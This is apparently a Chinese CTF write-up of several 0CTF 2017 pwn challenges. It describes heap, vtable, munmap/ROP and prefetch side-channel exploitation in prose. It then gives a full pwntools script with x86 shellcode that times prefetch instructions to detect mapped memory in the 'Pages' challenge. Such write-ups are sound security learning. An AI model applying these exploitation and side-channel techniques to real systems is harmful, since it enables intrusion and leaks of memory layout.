又是一年0ctf,这次Pwn的题目相较于Web分值高了很多,而且套路也十分多样化,也是学习到了不少。这边稍微记录一下一部分(简单)题目的解法。

EasietPrintf

程序在进行一次任意地址读之后有一次格式化字符串的机会,之后直接exit。在程序启用Full RELRO的情况下,选择覆盖libc中的_IO_2_1_stdout_结构的虚表,因为printf在将所有输入解析之后会调用其中的某个函数进行输出,我们可以其改为system,而这个结构自身会作为参数传入,覆盖虚表之后将一个sh\0\0写到整个结构头部即可。

BabyHeap 2017

一个相当classical的heap利用,在堆上有着任意长度overflow的能力,唯一的限制在于calloc的分配会清空整个chunk.这里我是用extend alloc chunk的方法在已经分配的chunk中overlap出一个non-fastbin的free chunk,从而dump出libc的地址。之后使用fastbin attack覆盖__malloc_hook就可以了。

UploadCenter

整个程序是一个模拟PNG上传的服务器,不过实际只会读取PNG的头部和块信息。程序的主要漏洞在上传时根据图片的width*height信息来mmap一块内存存储数据,但在delete时又通过图片自身的长度大小来进行munmap操作,这就造成了一个歧义。另外,在程序填写name的函数中其实能够leak出栈上之前没有洗掉的数据。

为了利用这个歧义,我们需要合理地进行mmap操作,之后启动程序中的一个monitor线程,这个线程在每次有图片上传时会打出通知信息,其他时候会等待一个条件。我们先上传几张图片,保证mmap的空间到达libc的上方低地址位置,之后启动这个线程,再上传图片,会发现之后的数据刚好处于线程栈的上方,这时利用这个歧义munmap线程栈的这个page,之后再上传一个更大的文件mmap回这块空间即可控制线程栈。

最后需要注意的是需要布置一下线程栈原先的数据保证线程不会crash顺利从libc返回,之后由于线程输入和主线程输入的竞争,需要考虑一下ROP的构造方式。

Pages

这个程序整体不长,首先从/dev/urandom产生64bytes的随机序列,然后会进行一次fork,子进程根据这个随机序列每个byte最低位是0或1来mmap不同的内存地址,之后清空这个随机序列,seccomp限制自身只能进行exit的syscall,之后执行输入的shellcode.而父进程则会ptrace子进程,从其0x300000000的位置取出64bytes的数据比较其最低位与之前的随机序列是否一致,若一致则给出flag。

现在问题就成了:如何在不进行系统调用的情况下用shellcode探测某块内存是否被mmap,在比赛当时我觉得应该是x86有某些可以不会引起Segmentation Fault的非特权访存指令可以做到,不过当时并没有找到合适的。在比赛之后才知道貌似是《Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR》这篇论文中提到的一种Side Channel攻击,简单来说就是利用CPU访存时,由于Cache的作用导致所需时钟周期不同而形成的Side Channel。为了完成这一攻击,确实需要一些非特权指令:

  • prefetch : 通知CPU从主存中预取数据进入Cache,参数是一个内存地址。
  • rdtsc : ReaD Time Stamp Counter,取得CPU当前的时钟周期,可以用来精确计时,实际也可以用rdtscp。结果会被保存在raxrdx中。
  • cpuidmfence : 这两条都是论文中提到的用来提高计时精度的,因为现代CPU的流水线和乱序执行机制可能导致计时出现误差,这里用这两条指令降低它们带来的影响。

prefetch确实是一条unusual instruction,其参数可以是任意虚拟地址,而且即使Vitrual Address对应的区域没有被mmap仍然可以保证不出错,但是其指令行为不固定。我猜测,如果不断prefetch一块存在的VA,则之后的预取操作会由于Cache中已经存在而需要较少的时钟周期;但如果不断prefetch一块不存在的VA,则每次都需要去主存中找,导致需要较多的时钟周期。这样通过时间的不同即可判断这一块究竟是不是被mmap过了。经过测试,确实迭代一定次数之后,产生了肉眼可见的时间差,应该是相当reliable的。

exp参考了jinmo的writeup,结合论文我又加了一些改进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = process('./pages_d9a22948ada76c76fcd1658457d51b61')

shellcode = '''
/* setup */
movq r8, 0x200000000
movq r9, 0x300000000
movq r10, 0

/* start time */
eachbit:
mfence
rdtscp
shl rdx, 32
or rax, rdx
movq r11, rax
cpuid

movq rbx, 0x1000
iter:
movq rcx, 0x1000
travel:
prefetcht0 [r8+rcx]
loop travel
dec rbx
cmp rbx, 0
ja iter

cpuid
rdtscp
shl rdx, 32
or rax, rdx
movq r12, rax
mfence

/* compare with the threshold */
subq r12, r11
cmp r12, 0x10000000

jb exist
mov byte ptr [r9+r10], 1
jmp next

exist:
mov byte ptr [r9+r10], 0

next:
inc r10
addq r8, 0x2000
cmp r10, 0x40
jb eachbit

int3
'''

bytecode = asm(shellcode, arch='amd64')
p.send(p32(len(bytecode)))
p.send(bytecode)
p.interactive()